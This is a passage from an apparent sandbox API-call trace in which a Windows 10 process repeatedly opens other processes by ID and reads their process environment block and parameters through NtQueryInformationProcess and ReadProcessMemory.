lpNumberOfBytesRead=0x0) returned 1 [0264.127] malloc (_Size=0x6c) returned 0x20abc2831b0 [0264.127] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0264.128] free (_Block=0x20abc2831b0) [0264.129] CloseHandle (hObject=0x16c) returned 1 [0264.129] _ui64tow_s (in: _Value=0xee0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3808") returned 0x0 [0264.134] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3808") returned 4 [0264.135] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.135] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.164] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee0) returned 0x16c [0264.164] GetLastError () returned 0x0 [0264.165] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.165] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.165] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.165] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.166] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.167] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.169] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.169] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.169] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.170] malloc (_Size=0x48) returned 0x20abc27cb20 [0264.170] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1938, lpBuffer=0x20abc27cb20, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0264.170] free (_Block=0x20abc27cb20) [0264.171] CloseHandle (hObject=0x16c) returned 1 [0264.172] _ui64tow_s (in: _Value=0xee8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0264.176] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3816") returned 4 [0264.177] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.177] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.192] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0x16c [0264.192] GetLastError () returned 0x0 [0264.193] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.194] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.195] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.196] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.196] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.196] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.197] malloc (_Size=0x6a) returned 0x20abc2831b0 [0264.197] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x51195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0264.197] free (_Block=0x20abc2831b0) [0264.198] CloseHandle (hObject=0x16c) returned 1 [0264.198] _ui64tow_s (in: _Value=0xef0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3824") returned 0x0 [0264.203] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3824") returned 4 [0264.204] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.204] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.217] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef0) returned 0x16c [0264.217] GetLastError () returned 0x0 [0264.218] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.218] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3e4018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.219] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.219] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.219] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.220] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.221] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.221] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3e4020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.221] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.222] malloc (_Size=0x6a) returned 0x20abc2831b0 [0264.222] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0264.222] free (_Block=0x20abc2831b0) [0264.223] CloseHandle (hObject=0x16c) returned 1 [0264.223] _ui64tow_s (in: _Value=0xf00, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3840") returned 0x0 [0264.249] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3840") returned 4 [0264.250] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.250] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.262] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf00) returned 0x16c [0264.262] GetLastError () returned 0x0 [0264.263] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.263] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x323018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.264] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.264] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c1d20, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.264] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c18f8, lpBuffer=0x2dc22fc240, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.265] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.266] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.266] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x323020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.267] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.267] malloc (_Size=0x82) returned 0x20abc286140 [0264.267] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c1972, lpBuffer=0x20abc286140, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286140*, lpNumberOfBytesRead=0x0) returned 1 [0264.268] free (_Block=0x20abc286140) [0264.268] CloseHandle (hObject=0x16c) returned 1 [0264.269] _ui64tow_s (in: _Value=0xf08, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3848") returned 0x0 [0264.272] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3848") returned 4 [0264.273] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.273] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.290] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf08) returned 0x16c [0264.290] GetLastError () returned 0x0 [0264.291] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.291] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x311018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.291] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.291] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.291] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f18f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.305] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.307] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.308] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x311020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.308] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.309] malloc (_Size=0x6e) returned 0x20abc2831b0 [0264.309] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0264.310] free (_Block=0x20abc2831b0) [0264.310] CloseHandle (hObject=0x16c) returned 1 [0264.311] _ui64tow_s (in: _Value=0xf1c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3868") returned 0x0 [0264.315] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3868") returned 4 [0264.316] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.316] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf1c) returned 0x16c [0264.331] GetLastError () returned 0x0 [0264.332] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.332] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.332] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.333] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.333] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.334] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.336] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.336] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.336] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.336] malloc (_Size=0x62) returned 0x20abc280290 [0264.336] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1952, lpBuffer=0x20abc280290, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0264.337] free (_Block=0x20abc280290) [0264.338] CloseHandle (hObject=0x16c) returned 1 [0264.338] _ui64tow_s (in: _Value=0xf24, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3876") returned 0x0 [0264.362] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3876") returned 4 [0264.363] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.363] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.376] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf24) returned 0x16c [0264.376] GetLastError () returned 0x0 [0264.377] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.377] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x369018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.378] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.378] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.378] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.379] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.380] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.380] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x369020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.380] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.381] malloc (_Size=0x68) returned 0x20abc280370 [0264.381] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1958, lpBuffer=0x20abc280370, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280370*, lpNumberOfBytesRead=0x0) returned 1 [0264.381] free (_Block=0x20abc280370) [0264.382] CloseHandle (hObject=0x16c) returned 1 [0264.382] _ui64tow_s (in: _Value=0xf30, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0264.386] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3888") returned 4 [0264.387] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.387] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.429] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x16c [0264.429] GetLastError () returned 0x0 [0264.430] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.430] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.430] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.430] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a1d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.430] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc22fc240, 